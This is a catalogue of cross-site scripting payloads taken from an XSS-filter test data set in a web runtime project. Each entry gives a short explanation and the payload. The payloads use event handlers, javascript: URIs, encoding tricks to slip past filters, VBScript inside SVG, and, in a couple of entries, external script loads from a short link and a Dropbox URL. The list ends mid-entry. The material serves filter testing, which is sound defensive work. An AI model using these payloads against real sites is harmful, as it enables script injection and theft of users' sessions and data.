### XSS via Form Action JavaScript Protocol (Alternative)

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

Similar to a previous form action example, this payload uses a `javascript:` URI in the `action` attribute, but with different HTML entity encoding for the colon and question mark.

```html
<form/action=javascript&#x3A;void(1)&quest;void(1)&colon;alert(1)><input/type='submit'>
```

--------------------------------

### XSS Payload: Keygen tag

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Demonstrates an XSS payload using the '<keygen>' tag with an 'onfocus' event handler to execute JavaScript when the element receives focus.

```HTML
<keygen/onfocus=prompt(1);>
```

--------------------------------

### XSS via Keygen Onfocus Event

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload utilizes the `onfocus` event handler of a `<keygen>` HTML element. When the element receives focus (e.g., by tabbing to it), the `prompt(1)` function is executed.

```html
<keygen/onfocus=prompt(1);>
```

--------------------------------

### XSS via Style Onload Event with JavaScript Protocol

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses a `<style>` tag with an `onload` event handler. It employs the `javascript:` protocol and HTML entities to execute `confirm(1)`.

```html
<style/onload='javascript&colon;void(0)?void(0)&colon;confirm(1)'>
```

--------------------------------

### XSS Payload: Button formaction with JavaScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Uses a '<button>' element with the 'formaction' attribute set to a 'javascript:' URI to execute code when clicked.

```HTML
<form><button formaction=javascript:alert(1)>CLICKME</button></form>
```

--------------------------------

### XSS Payload: JavaScript in script tag

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Executes JavaScript code embedded within a '<script>' tag. This example uses 'Object.defineProperties' to create a custom object and then calls a method on it.

```HTML
<script>Object.defineProperties(window,{w:{value:{f:function(){return 1}}}});confirm(w.f())</script>
```

```HTML
<script>x='con';s='firm';S='(1)';setTimeout(x+s+S,0);</script>
```

--------------------------------

### XSS via Span Onmouseover Event

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

Similar to the div example, this payload uses a `<span>` tag and its `onmouseover` event to execute a JavaScript function (`confirm(1)`) when the mouse cursor hovers over the element.

```html
<span/onmouseover=confirm(1)>X</span>
```

--------------------------------

### XSS via JavaScript Object.defineProperties

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses `Object.defineProperties` to define a property on the `window` object, then calls a function within that property. This demonstrates a more complex JavaScript-based XSS vector.

```javascript
<script>Object.defineProperties(window,{w:{value:{f:function(){return 1}}}});confirm(w.f())</script>
```

--------------------------------

### XSS via SVG Script with VBScript (Alternative)

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload demonstrates another SVG-based XSS vector, using a `<script>` tag with `language=vbs` and `for`/`event` attributes to execute VBScript's `alert` function.

```svg
<svg id=a /><script language=vbs for=a event=onload>alert 1</script>
```

--------------------------------

### XSS via MathML Solve Href Data URI

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses a MathML `<solve>` tag with an `href` attribute pointing to a `data:text/html` URI. This URI contains a `<script>` tag that executes `prompt(1)`.

```svg
<math><solve i.e., x=2+2*2-2/2=? href="data:text/html,<script>prompt(1)</script>">X
```

--------------------------------

### XSS via Embed External JavaScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<embed>` tag to load an external JavaScript file from a shortened URL. This is a straightforward method for injecting external scripts.

```html
<embed/src=//goo.gl/nlX0P>
```

--------------------------------

### XSS Payload: Form action with JavaScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Injects JavaScript execution via the 'action' attribute of a '<form>' tag, often combined with a submit input. This example uses 'setTimeout' and 'eval' with encoded characters.

```HTML
<form/action=javascript&amp;#x0003A;eval(setTimeout(confirm(1)))><input/type=submit>
```

```HTML
<form/action=javascript&amp;#x3A;void(1)&amp;quest;void(1)&amp;amp;colon;alert(1)><input type='submit'>
```

--------------------------------

### XSS via Image Onerror Event with Backticks

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

Similar to previous `onerror` examples, this payload uses backticks (`) for the `src` attribute, which can sometimes bypass certain filters. The `onerror` event evaluates the `id` attribute.

```html
<img/src=`%00` id=confirm(1) onerror=eval(id)
```

```html
<img/src=`%00` onerror=this.onerror=confirm(1)
```

--------------------------------

### XSS Payload: Math tag with xlink:href

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Utilizes the '<math>' tag and an '<a>' element with an 'xlink:href' attribute pointing to a 'javascript:' URI to execute code.

```HTML
<math><a/xlink:href=javascript:prompt(1)>X</a></math>
```

--------------------------------

### XSS via Iframe JavaScript Protocol with Multiple Calls

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<iframe>` with a `javascript:` URI in its `src`. It demonstrates executing multiple JavaScript functions (`alert`, `confirm`, `prompt`) within a single URI.

```html
<iframe/src="javascript:void(alert(1))?alert(1):confirm(1),prompt(1)">
```

--------------------------------

### XSS Payload: Body onload event

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Executes JavaScript using the 'onload' event handler on the '<body>' tag, modifying the inner HTML to display an alert.

```HTML
<body/onload=this.onload=document.body.innerHTML=alert&amp;lpar;1&amp;rpar;>
```

--------------------------------

### XSS via Body Onload Event

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload injects an `onload` event handler directly into the `<body>` tag. When the body loads, the handler modifies the `innerHTML` to execute an `alert` function.

```html
<body/onload=this.onload=document.body.innerHTML=alert&lpar;1&rpar;>
```

--------------------------------

### XSS via Iframe Onload with JavaScript Protocol

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<iframe>` with an `onload` event handler that executes JavaScript. It includes HTML entities and a ternary operator for obfuscation.

```html
<iframe/onload='javascript&#58;void&#40;1&#41;&quest;void&#40;1&#41;&#58;confirm&#40;1&#41;'>
```

--------------------------------

### XSS Payload: JavaScript URI in iframe

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Injects JavaScript code directly into the 'src' attribute of an 'iframe' using a 'javascript:' URI. This example uses an array and 'eval' to execute multiple JavaScript commands.

```HTML
<iframe/src="javascript:a=[alert&amp;lpar;1&amp;rpar;,confirm&amp;#40;2&amp;#41;,prompt%283%29];eval(a[0]);">
```

```HTML
<iframe/src="data:text/html,<iframe%09onload=confirm(1);>">
```

```HTML
<iframe/onload='javascript&amp;#58;void&amp;amp;#40;1&amp;amp;#41;&amp;amp;quest;void&amp;amp;#40;1&amp;amp;#41;&amp;amp;#58;confirm&amp;amp;#40;1&amp;amp;#41;'></iframe>
```

```HTML
<iframe/src="j&amp;Tab;AVASCRIP&amp;NewLine;t:\u0061ler\u0074&amp;#x28;1&amp;#x29;"></iframe>
```

```HTML
<iframe/src="javascript:void(alert(1))?alert(1):confirm(1),prompt(1)"></iframe>
```

--------------------------------

### XSS Payload: SVG with VBScript event

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Combines SVG with VBScript by associating an 'onload' event on an SVG element with a VBScript handler.

```HTML
<svg id=a /><script language=vbs for=a event=onload>alert 1</script>
```

--------------------------------

### XSS Payload: Meta refresh with JavaScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Uses a '<meta http-equiv="refresh">' tag to redirect the browser to a 'javascript:' URI, triggering JavaScript execution.

```HTML
<meta http-equiv="refresh" content="0;url=javascript&amp;Tab;:&amp;amp;Tab;void(alert(0))?0:0,0,prompt(0)">
```

--------------------------------

### XSS via Style Onload Event with Obfuscation

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses a `<style>` tag with an `onload` event handler. It employs various obfuscation techniques like whitespace and HTML entities to hide the `alert(1)` call.

```html
<style/onload    =    !-alert&#x28;1&#x29;>
```

--------------------------------

### XSS Payload: Style tag with CSS expression

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Uses a '<style>' tag with CSS properties that can execute JavaScript, such as '-o-link-source' or 'onload' within a style context.

```HTML
<style/onload    =    !-alert&amp;#x28;1&amp;#x29;>
```

```HTML
<style/onload='javascript&amp;amp;colon;void(0)?void(0)&amp;amp;colon;confirm(1)'>
```

```HTML
<svg><style>&#x7B;-o-link-source&#x3A;'<style/onload=confirm(1)>'&#x7D;</style></svg>
```

--------------------------------

### XSS via MathML A xlink:href

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload leverages MathML's `<a>` tag with an `xlink:href` attribute set to a `javascript:` URI. This can execute JavaScript when the link is activated within a MathML context.

```svg
<math><a/xlink:href=javascript:prompt(1)>X
```

--------------------------------

### XSS Payload: SVG with VBScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Demonstrates an XSS payload using an SVG element with 'contentScriptType=text/vbs' to execute VBScript, specifically using 'Execute' to run a message box.

```HTML
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&amp;chr(83)&amp;chr(83)))</script>
```

--------------------------------

### XSS via Obfuscated Iframe Tag

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload demonstrates an attempt to bypass filters by obfuscating the `<iframe>` tag itself with extra characters, while still maintaining a functional `onload` event handler.

```html
<i<f<r<a<m<e><iframe/onload=confirm(1);></i>f>r>a>m>e>
```

--------------------------------

### XSS via Object Type Text/X-Scriptlet

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<object>` tag with `type="text/x-scriptlet"` and a `data` attribute containing a `data:` URI. This URI embeds a scriptlet that executes `prompt(1)` repeatedly using `setInterval`.

```html
<object/type="text/x-scriptlet"/data="data:X,&#60script&#62setInterval&lpar;'prompt(1)',10&rpar;&#60/script&#62"></object>
```

--------------------------------

### XSS Payload: Nested iframe

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Demonstrates an XSS payload by nesting '<iframe>' tags, where the inner iframe's 'onload' event triggers JavaScript execution.

```HTML
<i><i><i><i><iframe/onload=confirm(1);></i></i></i></i>
```

--------------------------------

### XSS Payload: onmouseover event handler

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Shows an XSS payload using the 'onmouseover' event handler on various HTML elements to execute JavaScript when the mouse pointer hovers over them.

```HTML
<div id=confirm(1) onmouseover=eval(id)>X</div>
```

```HTML
<span/onmouseover=confirm(1)>X</span>
```

```HTML
<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=alert(1)>x</div>
```

```HTML
<input type="image" value=""`><span/onmouseover='confirm(1)'>X`</span>
```

```HTML
<img/src='http://i.imgur.com/P8mL8.jpg ' onmouseover={confirm(1)}f()>
```

--------------------------------

### XSS via Meta Refresh JavaScript Protocol

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses a `<meta>` tag with `http-equiv="refresh"` to redirect to a `javascript:` URI. It includes various obfuscation techniques like tabs and commas to hide the `prompt(0)` call.

```html
<meta/http-equiv="refresh"/content="0;url=javascript&Tab;:&Tab;void(alert(0))?0:0,0,prompt(0)">
```

--------------------------------

### XSS via Form Button Formaaction

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses a `<button>` element within a `<form>` and sets its `formaction` attribute to a `javascript:` URI. Clicking the button executes the JavaScript code (`alert(1)`).

```html
<form><button formaction=javascript:alert(1)>CLICKME
```

--------------------------------

### XSS Payload: Embed tag with JavaScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Leverages the '<embed>' tag with a 'src' attribute set to a 'javascript:' URI, using Unicode escape sequences for obfuscation.

```HTML
<embed/src=javascript&amp;amp;colon;\u0061&amp;amp;#x6C;&amp;amp;#101%72t&amp;amp;#x28;1&amp;amp;#x29;>
```

```HTML
<embed/src=//goo.gl/nlX0P>
```

--------------------------------

### HTML XSS: onmouseover Event

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Executes JavaScript when the mouse pointer hovers over an element. This example uses onmouseover to trigger an alert.

```html
<div id=confirm(1) onmouseover=eval(id)>X</div>
```

```html
<span/onmouseover=confirm(1)>X</span>
```

```html
<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=alert(1)>x</div>
```

```html
<img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&x29;>
```

```html
<img/src='http://i.imgur.com/P8mL8.jpg ' onmouseover={confirm(1)}f()>
```

```html
<style/&Tab;/onload=;&Tab;this&Tab;.&Tab;onload=confirm(1)>
```

--------------------------------

### XSS via Script Tag in URL Path

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload attempts to inject a `<script>` tag directly into a URL path, hoping that a server or client-side component might interpret it as executable code.

```html
http://www.<script abc>setTimeout('confirm(1)',1)</script .com>
```

--------------------------------

### XSS Payload: Math tag with data URI

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Uses a '<math>' tag with an 'href' attribute pointing to a 'data:' URI containing an embedded HTML document with a '<script>' tag.

```HTML
<math><solve i.e., x=2+2*2-2/2=? href="data:text/html,<script>prompt(1)</script>">X</math>
```

--------------------------------

### XSS via Embed JavaScript Protocol with Unicode and Percent Encoding

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<embed>` tag with its `src` attribute set to a `javascript:` URI. It employs a mix of HTML entities, Unicode escapes, and percent encoding to obfuscate the `alert(1)` call.

```html
<embed/src=javascript&colon;\u0061&#x6C;&#101%72t&#x28;1&#x29;>
```

--------------------------------

### XSS via Nested Iframe Onload Event

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload creates an `<iframe>` whose `src` attribute contains a `data:text/html` URI. This URI, in turn, embeds another `<iframe>` that executes JavaScript via its `onload` event.

```html
<iframe/src="data:text/html,<iframe%09onload=confirm(1);">
```

--------------------------------

### XSS via SVG Script with VBScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload demonstrates XSS within an SVG context, specifying `text/vbs` as the script type. It then embeds a VBScript block that executes a message box, showcasing a less common scripting language for XSS.

```svg
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))
```

--------------------------------

### XSS via CSS Content URL and Onmouseover

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload combines CSS `content:url()` with a `data:image/svg+xml` URI to embed SVG content. It also includes an `onmouseover` event handler on the parent `div` to trigger an alert when hovered.

```html
<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=alert(1)>x</div>
```

--------------------------------

### XSS via Iframe JavaScript Protocol with Newline and Unicode

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<iframe>` with a `javascript:` URI in its `src`. It employs newlines (`&#x0A;`) and Unicode escapes (`\u0061ler\u0074`) to obfuscate the `alert(1)` call.

```html
<iframe/src="j&Tab;AVASCRIP&NewLine;t:\u0061ler\u0074&#x28;1&#x29;">
```

--------------------------------

### XSS via Iframe JavaScript Protocol with Encoding

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<iframe>` with its `src` attribute set to the `javascript:` protocol. It includes HTML entities and URL encoding to obfuscate the JavaScript code, which executes `alert`, `confirm`, and `prompt` functions.

```html
<iframe/src="javascript:a=[alert&lpar;1&rpar;,confirm&#40;2&#41;,prompt%283%29];eval(a[0]);">
```

--------------------------------

### XSS via SVG Style Link Source

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload leverages an SVG `<style>` tag and the `-o-link-source` CSS property (specific to Opera) to inject an `onload` event handler within a nested `<style>` tag.

```svg
<svg><style>&#x7B;-o-link-source&#x3A;'<style/onload=confirm(1)>'&#x7D;
```

--------------------------------

### XSS Payload: Script tag in URL

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Attempts to inject a '<script>' tag within a URL that is part of a larger HTML structure, aiming to execute JavaScript via 'setTimeout'.

```HTML
http://www.<script abc>setTimeout('confirm(1)',1)</script .com>
```

--------------------------------

### XSS via Style Onload Event with Tab Obfuscation

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses a `<style>` tag with an `onload` event handler. It heavily relies on tab characters (`&Tab;`) to obfuscate the JavaScript code (`this.onload=confirm(1)`), aiming to bypass filters.

```html
<style/&Tab;/onload=;&Tab;this&Tab;.&Tab;onload=confirm(1)>
```

--------------------------------

### XSS via Form Action JavaScript Protocol

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload sets the `action` attribute of a `<form>` to a `javascript:` URI. When the form is submitted, the JavaScript code (which includes `eval(setTimeout(confirm(1)))`) is executed.

```html
<form/action=javascript&#x0003A;eval(setTimeout(confirm(1)))><input/type=submit>
```

--------------------------------

### XSS via JavaScript String Concatenation and SetTimeout

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses a `<script>` tag to define parts of a JavaScript function as strings, then concatenates them and executes the result using `setTimeout`. This is a common obfuscation technique.

```javascript
<script>x='con';s='firm';S='(1)';setTimeout(x+s+S,0);</script>
```

--------------------------------

### XSS Payload: Object tag with scriptlet

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Uses an '<object>' tag with 'type="text/x-scriptlet"' and a 'data' attribute containing JavaScript code, often using 'setInterval' for repeated execution.

```HTML
<object type="text/x-scriptlet" data="data:X,&lt;script&gt;setInterval&amp;lpar;'prompt(1)',10&amp;rpar;&amp;#60;/script&amp;#62;"></object>
```

--------------------------------

### XSS Payload: Script src with encoded URL

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Attempts to load an external JavaScript file using a '<script src=' tag, where the URL is heavily encoded and uses tabs for obfuscation.

```HTML
<script src="h&amp;Tab;t&amp;Tab;t&amp;Tab;p&amp;Tab;s&amp;colon;/&amp;amp;Tab;/&amp;amp;Tab;http://dl.dropbox.com/u/13018058/js.js"></script>
```

--------------------------------

### XSS Payload: CSS expression()

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Demonstrates an XSS payload leveraging the CSS 'expression()' property, which allows JavaScript execution within style attributes. This technique is deprecated and disabled in modern browsers.

```HTML
<div style="color:rgb('&#0;x:expression(alert(1))"></div>
```

--------------------------------

### XSS via Image Onerror Event with Eval

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<img>` tag with an invalid `src` attribute to trigger the `onerror` event. The `onerror` handler then executes JavaScript by evaluating the `id` attribute's content.

```html
<img/src=%00 id=confirm(1) onerror=eval(id)
```

--------------------------------

### XSS via CSS Expression (IE Specific)

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload leverages the deprecated `expression()` CSS function, primarily effective in older Internet Explorer versions, to execute JavaScript code within a style attribute.

```html
<div style="color:rgb(''&#0;x:expression(alert(1))"></div>
```

--------------------------------

### XSS Payload: onerror with self-assignment

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

An XSS payload that uses an 'onerror' event handler on an 'img' tag. It assigns 'this.onerror' to 'confirm(1)' to ensure execution even if the initial handler fails.

```HTML
<img/src=`%00` onerror=this.onerror=confirm(1)>
```

--------------------------------

### XSS via Input Type Image Onmouseover

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<input type="image">` element and attempts to inject an `onmouseover` event handler within its value attribute, which might be parsed as HTML in some contexts.

```html
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
```

--------------------------------

### XSS via Iframe Data URI with Obfuscated Script Tag

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<iframe>` with a `data:text/html` URI. The embedded HTML contains a `<script>` tag that is heavily obfuscated with HTML entities for common characters like tab and slash.

```html
<iframe/src="data&colon;text&sol;html,<s&Tab;cr&Tab;ip&Tab;t>confirm(1)</script>">
```

--------------------------------

### XSS via Script Src with Obfuscated URL

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload attempts to load an external JavaScript file using a `<script src="...">` tag. The URL is heavily obfuscated with HTML entities for tabs and colons, aiming to bypass filters.

```html
<script src="h&Tab;t&Tab;t&Tab;p&Tab;s&colon;/&Tab;/&Tab;http://dl.dropbox.com/u/13018058/js.js"></script>
```

--------------------------------

### XSS via Image ID Attribute and Onerror Eval

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<img>` tag with an invalid `src` to trigger `onerror`. The `id` attribute contains the JavaScript to be executed, which is then evaluated by `eval(id)`.

```html
<img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>
```

--------------------------------

### XSS via Div Onmouseover Event with Eval

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload injects JavaScript into the `onmouseover` event handler of a `<div>` element. When a user hovers over the element, the `eval(id)` function is called, executing the content of the `id` attribute.

```html
<div id=confirm(1) onmouseover=eval(id)>X</div>
```

--------------------------------

### XSS via Image Onmouseover Event with Function Call

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/xss-attack-vector-input.txt

This payload uses an `<img>` tag with an `onmouseover` event handler. It attempts to execute a JavaScript function (`confirm(1)`) within a malformed function call, which might bypass some filters.

```html
<img/src='http://i.imgur.com/P8mL8.jpg ' onmouseover={confirm(1)}f()>
```

--------------------------------

### XSS Payload: onerror event handler

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-twice.txt

Utilizes the 'onerror' event handler on an 'img' tag with an invalid source to trigger JavaScript execution. The payload uses 'eval(id)' to execute the JavaScript stored in the 'id' attribute.

```HTML
<img/src=%00 id=confirm(1) onerror=eval(id)>
```

```HTML
<img/src=`%00` id=confirm(1) onerror=eval(id)>
```

```HTML
<img/id="confirm&#x28;1&#x29;" alt="/" src="/" onerror=eval(id&#x29;)>
```

--------------------------------

### HTML XSS: Iframe with Data URI and Script

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Embeds an iframe with a data URI containing HTML and a script tag that executes a confirm function.

```html
<iframe/src="data&amp;colon;text&amp;sol;html,&lt;s&amp;Tab;cr&amp;Tab;ip&amp;Tab;t&gt;confirm(1)&lt;/script&gt;">
```

--------------------------------

### HTML XSS: Math Tag with XLink

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Exploits the MathML tag with an xlink:href attribute pointing to a javascript: URI to execute code.

```html
<math><a/xlink:href=javascript:prompt(1)>X
```

--------------------------------

### HTML XSS: SVG with VBScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Leverages SVG to execute VBScript, demonstrating cross-language execution within a web page. It uses Execute to run a MsgBox.

```html
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))
```

--------------------------------

### HTML XSS: JavaScript Object Property Execution

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Injects JavaScript code that defines a property on the window object and then calls a function associated with that property to execute an alert.

```html
<script>Object.defineProperties(window,{w:{value:{f:function(){return 1}}}});confirm(w.f())</script>
```

--------------------------------

### HTML XSS: JavaScript URI with Array Execution

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Uses a javascript: URI within an iframe's src attribute. It defines an array of alert functions and executes the first one.

```html
<iframe/src="javascript:a=[alert&lpar;1&rpar;,confirm&lpar;2&rpar;,prompt%283%29];eval(a[0]);">
```

--------------------------------

### HTML XSS: SVG with VBScript Event Handler

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Combines SVG with a VBScript event handler for the onload event, executing an alert.

```html
